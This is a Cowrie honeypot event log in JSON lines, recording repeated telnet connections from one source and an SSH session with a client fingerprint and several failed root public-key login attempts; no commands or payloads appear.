{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:54.072634Z","src_ip":"163.7.6.74","session":"4ef732cd6346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.4190731048584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:55.428631Z","src_ip":"69.6.249.0","session":"9e7f19e93d27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37582,"dst_ip":"159.203.135.109","dst_port":23,"session":"52227531db82","protocol":"telnet","message":"New connection: 69.6.249.0:37582 (159.203.135.109:23) [session: 52227531db82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:55.954124Z"}
{"eventid":"cowrie.session.closed","duration":31.840116500854492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:56.081397Z","src_ip":"69.6.249.0","session":"d645327b362b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06096649169922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:56.838606Z","src_ip":"69.6.249.0","session":"17b2237d0089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.15391707420349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:40:59.787825Z","src_ip":"69.6.249.0","session":"bec90f75ae46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37592,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2984ce694aa","protocol":"telnet","message":"New connection: 69.6.249.0:37592 (159.203.135.109:23) [session: b2984ce694aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:01.126448Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37600,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b4fcbe7ceec","protocol":"telnet","message":"New connection: 69.6.249.0:37600 (159.203.135.109:23) [session: 9b4fcbe7ceec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:03.856842Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":51842,"dst_ip":"159.203.135.109","dst_port":23,"session":"17a0b30800d6","protocol":"telnet","message":"New connection: 69.6.249.0:51842 (159.203.135.109:23) [session: 17a0b30800d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:05.333512Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":51846,"dst_ip":"159.203.135.109","dst_port":23,"session":"48ae3ff00a7b","protocol":"telnet","message":"New connection: 69.6.249.0:51846 (159.203.135.109:23) [session: 48ae3ff00a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:08.583512Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":51848,"dst_ip":"159.203.135.109","dst_port":23,"session":"610f3ff5c551","protocol":"telnet","message":"New connection: 69.6.249.0:51848 (159.203.135.109:23) [session: 610f3ff5c551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:09.355443Z"}
{"eventid":"cowrie.session.closed","duration":32.66599130630493,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:10.492763Z","src_ip":"69.6.249.0","session":"872c4c27bee5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.38264846801758,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:11.116232Z","src_ip":"69.6.249.0","session":"0adc42ebfb74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.044080018997192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:12.310394Z","src_ip":"69.6.249.0","session":"2f672dcfa802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":51858,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e91ce45aa6b","protocol":"telnet","message":"New connection: 69.6.249.0:51858 (159.203.135.109:23) [session: 6e91ce45aa6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:13.190747Z"}
{"eventid":"cowrie.session.closed","duration":31.516027212142944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:17.326684Z","src_ip":"69.6.249.0","session":"6c8333b488c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58216,"dst_ip":"159.203.135.109","dst_port":23,"session":"440bf52528b4","protocol":"telnet","message":"New connection: 69.6.249.0:58216 (159.203.135.109:23) [session: 440bf52528b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:18.690940Z"}
{"eventid":"cowrie.session.closed","duration":31.167909145355225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:19.439378Z","src_ip":"69.6.249.0","session":"e0559a492b7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58228,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4b324bad09b","protocol":"telnet","message":"New connection: 69.6.249.0:58228 (159.203.135.109:23) [session: f4b324bad09b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:21.103831Z"}
{"eventid":"cowrie.session.closed","duration":32.249895334243774,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:21.534315Z","src_ip":"69.6.249.0","session":"3e967633a851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":57928,"dst_ip":"159.203.135.109","dst_port":23,"session":"f699b613069d","protocol":"telnet","message":"New connection: 69.6.249.0:57928 (159.203.135.109:23) [session: f699b613069d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:24.962767Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":57934,"dst_ip":"159.203.135.109","dst_port":23,"session":"73fea538b425","protocol":"telnet","message":"New connection: 69.6.249.0:57934 (159.203.135.109:23) [session: 73fea538b425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:25.523646Z"}
{"eventid":"cowrie.session.closed","duration":32.07151961326599,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:28.025509Z","src_ip":"69.6.249.0","session":"52227531db82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.902222871780396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:33.028570Z","src_ip":"69.6.249.0","session":"b2984ce694aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":57936,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa3683132a6f","protocol":"telnet","message":"New connection: 69.6.249.0:57936 (159.203.135.109:23) [session: fa3683132a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:33.588377Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.209.225","src_port":26364,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c42a576e3c3","protocol":"ssh","message":"New connection: 62.210.209.225:26364 (10.17.0.5:22) [session: 6c42a576e3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:34.305228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:34.309082Z","src_ip":"62.210.209.225","session":"6c42a576e3c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:34.392316Z","src_ip":"62.210.209.225","session":"6c42a576e3c3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:d2:42:84:e4:c2:bc:e9:13:87:fb:3d:a3:86:37:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCvtHuSe/R9R7UwOZQefNbdttydtornFQdXH3U46ibvnbC7t2dW/Un591OD1HlhuMCNRdcAMqA/J3B2YDdCmWmks3nctes+E4yvpzXh7KiDsLPB/YL82gwBMEJnf260zmx+0n5owjSW7RN/6GOfEZ3R7osAWuEL+xguFwoKTE3wFxCQ9vpy7Vs60u6iIoEUnS9r0dV6wDY1KJg5XX2NHC1pT7ZmXAHinLSD3mcEvwWXR9mJaAeoqAYYdjEBmh42d8btvoyWGriQkftv3gRNfTkX/Momz/7ysfKX8BNpl+E7mAH5YPCK7seYaNK+maUGteJoNB/rAIP7H0+cAfuEeR5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:d2:42:84:e4:c2:bc:e9:13:87:fb:3d:a3:86:37:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:34.773061Z","src_ip":"62.210.209.225","session":"6c42a576e3c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:d2:42:84:e4:c2:bc:e9:13:87:fb:3d:a3:86:37:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCvtHuSe/R9R7UwOZQefNbdttydtornFQdXH3U46ibvnbC7t2dW/Un591OD1HlhuMCNRdcAMqA/J3B2YDdCmWmks3nctes+E4yvpzXh7KiDsLPB/YL82gwBMEJnf260zmx+0n5owjSW7RN/6GOfEZ3R7osAWuEL+xguFwoKTE3wFxCQ9vpy7Vs60u6iIoEUnS9r0dV6wDY1KJg5XX2NHC1pT7ZmXAHinLSD3mcEvwWXR9mJaAeoqAYYdjEBmh42d8btvoyWGriQkftv3gRNfTkX/Momz/7ysfKX8BNpl+E7mAH5YPCK7seYaNK+maUGteJoNB/rAIP7H0+cAfuEeR5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:34.776771Z","src_ip":"62.210.209.225","session":"6c42a576e3c3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:6d:9f:e6:58:e0:64:64:06:34:76:b7:56:3c:88:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDko5UGHHPjcCY3Rs6RVPxet7280udJvJT1SnrXbWsoaHDnQDx0WrXsDVSKUfFPUAYOjsqc4WpEC4HGxdM91fN6KWoWD85lJX69jVI8KQavlamO02dCnbrAXUqaE65ZMZN84TTyBC6u5im8nWnrgZe/QvgoEUOb3FOgRaCgqLM31s94MqeX9FBlDQ4s0lFLS/c8m0lWJRPMRwwBb3VdqH/YpUyBhwFwvQnF1AmL8CG4ZAQ6LHSRI6XhfgSxppwjmHmg1O0NLF6QReuhWPQd3DEHmRPYJOHwCuALl6KqcB7iDr6fOlOKsRslDlvLhOALKsufxZMEuTBmnk3EAQRGH0xr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:6d:9f:e6:58:e0:64:64:06:34:76:b7:56:3c:88:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:34.858647Z","src_ip":"62.210.209.225","session":"6c42a576e3c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:6d:9f:e6:58:e0:64:64:06:34:76:b7:56:3c:88:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDko5UGHHPjcCY3Rs6RVPxet7280udJvJT1SnrXbWsoaHDnQDx0WrXsDVSKUfFPUAYOjsqc4WpEC4HGxdM91fN6KWoWD85lJX69jVI8KQavlamO02dCnbrAXUqaE65ZMZN84TTyBC6u5im8nWnrgZe/QvgoEUOb3FOgRaCgqLM31s94MqeX9FBlDQ4s0lFLS/c8m0lWJRPMRwwBb3VdqH/YpUyBhwFwvQnF1AmL8CG4ZAQ6LHSRI6XhfgSxppwjmHmg1O0NLF6QReuhWPQd3DEHmRPYJOHwCuALl6KqcB7iDr6fOlOKsRslDlvLhOALKsufxZMEuTBmnk3EAQRGH0xr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:34.862401Z","src_ip":"62.210.209.225","session":"6c42a576e3c3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:ee:51:e6:ef:bc:fc:fa:70:f8:77:9b:44:f8:a4:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBjS3vsM63PvS8Q0I2CQiAqoWR+XQrR6YQOvJa3x25qbAZoogX4fLdYqyZ+pSuQbufzF5CAiVPvieux4824jjzifokrcYadRTX3NSLV+fN2e5OR4d7iiB/MVZzt7R93jP/xCHArmkgk9iWjbLGCfRW2KIGWlX1VHzTosZDMyl5LNL9W92KBYktCYyEwtKBxUQWTndqsf2REsD1unx2L/rpz70L2TX/Xlmc1t3cKuGWoImDPq+zWWWoZ415QAXEAWcVRTACud7m6V0wcOBBstYO4Pai5jqn1K+l7MiRvO8ZqlbYqMHSaWo7ktGA3hko0HFzPKMiPET0AKyLPhMmBm/X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:ee:51:e6:ef:bc:fc:fa:70:f8:77:9b:44:f8:a4:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:34.944596Z","src_ip":"62.210.209.225","session":"6c42a576e3c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:ee:51:e6:ef:bc:fc:fa:70:f8:77:9b:44:f8:a4:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBjS3vsM63PvS8Q0I2CQiAqoWR+XQrR6YQOvJa3x25qbAZoogX4fLdYqyZ+pSuQbufzF5CAiVPvieux4824jjzifokrcYadRTX3NSLV+fN2e5OR4d7iiB/MVZzt7R93jP/xCHArmkgk9iWjbLGCfRW2KIGWlX1VHzTosZDMyl5LNL9W92KBYktCYyEwtKBxUQWTndqsf2REsD1unx2L/rpz70L2TX/Xlmc1t3cKuGWoImDPq+zWWWoZ415QAXEAWcVRTACud7m6V0wcOBBstYO4Pai5jqn1K+l7MiRvO8ZqlbYqMHSaWo7ktGA3hko0HFzPKMiPET0AKyLPhMmBm/X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:34.948481Z","src_ip":"62.210.209.225","session":"6c42a576e3c3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:db:83:41:8f:ac:a5:4a:03:bb:c5:e2:5c:b0:49:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBLZbb5xYmjZIrQAsY1V9jVDhaFLfck4JXKnNp3tpNYQtik+hsszMRxdAcijNLOcIxnwNbmAj8XEmiYl2WsvV1Hgxy7R2n8i90bo/9nthPvYh/s09JBc3GXHLEIaCtHMFE7uFkoovhxcm7eZEUtlsF4XW0eqEKJBYcABNG2VWmvh1/dXCHs4WuW2xl7SC9NfH4sHkAUEEnP1tFOV+lHRdCgrwU8cMS6wfH+7zHZPjqKqb15mD57QL7SPGeY40lt+L9MmOcOvpyS1cHiO+yWcnCrIJRCCiDrxYjLnYYI+odhPv4p2EXFwI/iZCE+AU48HPD66cq2VTpuaLYWH6y7vHp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:db:83:41:8f:ac:a5:4a:03:bb:c5:e2:5c:b0:49:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:35.030056Z","src_ip":"62.210.209.225","session":"6c42a576e3c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:db:83:41:8f:ac:a5:4a:03:bb:c5:e2:5c:b0:49:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBLZbb5xYmjZIrQAsY1V9jVDhaFLfck4JXKnNp3tpNYQtik+hsszMRxdAcijNLOcIxnwNbmAj8XEmiYl2WsvV1Hgxy7R2n8i90bo/9nthPvYh/s09JBc3GXHLEIaCtHMFE7uFkoovhxcm7eZEUtlsF4XW0eqEKJBYcABNG2VWmvh1/dXCHs4WuW2xl7SC9NfH4sHkAUEEnP1tFOV+lHRdCgrwU8cMS6wfH+7zHZPjqKqb15mD57QL7SPGeY40lt+L9MmOcOvpyS1cHiO+yWcnCrIJRCCiDrxYjLnYYI+odhPv4p2EXFwI/iZCE+AU48HPD66cq2VTpuaLYWH6y7vHp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:35.034209Z","src_ip":"62.210.209.225","session":"6c42a576e3c3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:75:a2:d6:82:58:2d:3a:b8:0a:22:59:5b:25:b8:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/CM6k/ffIbdEw4hpbN9BhmX/tPIBBnWwHzcXlY93TDhuGngqVpPoQKYDfmMZjaOipNpq1PzYvGvDm1Zo7iF+WC8eMMK/sGdNczRKBcjcOLRa3ecW+uRb5vcRRbccyoMDoK/xkPWJ4kR2inS3aGhFaI8KTOD1b4BazPe9/C4c9lMpOpVCIqWmHMiOdWPT1N73eKl76hchTmqglC8PAhJdZ8/vOBCGKCg5phFiTJvHJaUYcHb2aM1F2v1p3lz0nVpice8CdjW1qLWk1C4YEy7mDbeWNvWWrPwYnpGA5ICscpCrUpDhBM0RVVfbLfssmYts00njxU3VP5KuxNUODTcHn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:75:a2:d6:82:58:2d:3a:b8:0a:22:59:5b:25:b8:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:35.117014Z","src_ip":"62.210.209.225","session":"6c42a576e3c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:75:a2:d6:82:58:2d:3a:b8:0a:22:59:5b:25:b8:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/CM6k/ffIbdEw4hpbN9BhmX/tPIBBnWwHzcXlY93TDhuGngqVpPoQKYDfmMZjaOipNpq1PzYvGvDm1Zo7iF+WC8eMMK/sGdNczRKBcjcOLRa3ecW+uRb5vcRRbccyoMDoK/xkPWJ4kR2inS3aGhFaI8KTOD1b4BazPe9/C4c9lMpOpVCIqWmHMiOdWPT1N73eKl76hchTmqglC8PAhJdZ8/vOBCGKCg5phFiTJvHJaUYcHb2aM1F2v1p3lz0nVpice8CdjW1qLWk1C4YEy7mDbeWNvWWrPwYnpGA5ICscpCrUpDhBM0RVVfbLfssmYts00njxU3VP5KuxNUODTcHn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:35.120631Z","src_ip":"62.210.209.225","session":"6c42a576e3c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.283047199249268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:35.139780Z","src_ip":"69.6.249.0","session":"9b4fcbe7ceec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:35.202191Z","src_ip":"62.210.209.225","session":"6c42a576e3c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16710114479065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:36.500505Z","src_ip":"69.6.249.0","session":"17a0b30800d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":33810,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ab3d6ac7e31","protocol":"telnet","message":"New connection: 69.6.249.0:33810 (159.203.135.109:23) [session: 3ab3d6ac7e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:36.930657Z"}
{"eventid":"cowrie.session.closed","duration":31.201189517974854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:40.556551Z","src_ip":"69.6.249.0","session":"610f3ff5c551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.119149923324585,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:40.702513Z","src_ip":"69.6.249.0","session":"48ae3ff00a7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":33812,"dst_ip":"159.203.135.109","dst_port":23,"session":"167e2a7e3dca","protocol":"telnet","message":"New connection: 69.6.249.0:33812 (159.203.135.109:23) [session: 167e2a7e3dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:42.038883Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":33816,"dst_ip":"159.203.135.109","dst_port":23,"session":"73fd6a7576ff","protocol":"telnet","message":"New connection: 69.6.249.0:33816 (159.203.135.109:23) [session: 73fd6a7576ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:43.278118Z"}
{"eventid":"cowrie.session.closed","duration":32.56768083572388,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:45.758318Z","src_ip":"69.6.249.0","session":"6e91ce45aa6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":39252,"dst_ip":"159.203.135.109","dst_port":23,"session":"f37786785062","protocol":"telnet","message":"New connection: 69.6.249.0:39252 (159.203.135.109:23) [session: f37786785062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:47.897510Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":39258,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa5c40d438cd","protocol":"telnet","message":"New connection: 69.6.249.0:39258 (159.203.135.109:23) [session: fa5c40d438cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:50.338490Z"}
{"eventid":"cowrie.session.closed","duration":32.075395345687866,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:50.766256Z","src_ip":"69.6.249.0","session":"440bf52528b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":39270,"dst_ip":"159.203.135.109","dst_port":23,"session":"7837c3bbf3c1","protocol":"telnet","message":"New connection: 69.6.249.0:39270 (159.203.135.109:23) [session: 7837c3bbf3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:51.246667Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":58454,"dst_ip":"10.17.0.5","dst_port":23,"session":"45a38cb19b7b","protocol":"telnet","message":"New connection: 68.178.168.57:58454 (10.17.0.5:23) [session: 45a38cb19b7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:41:51.558533Z"}
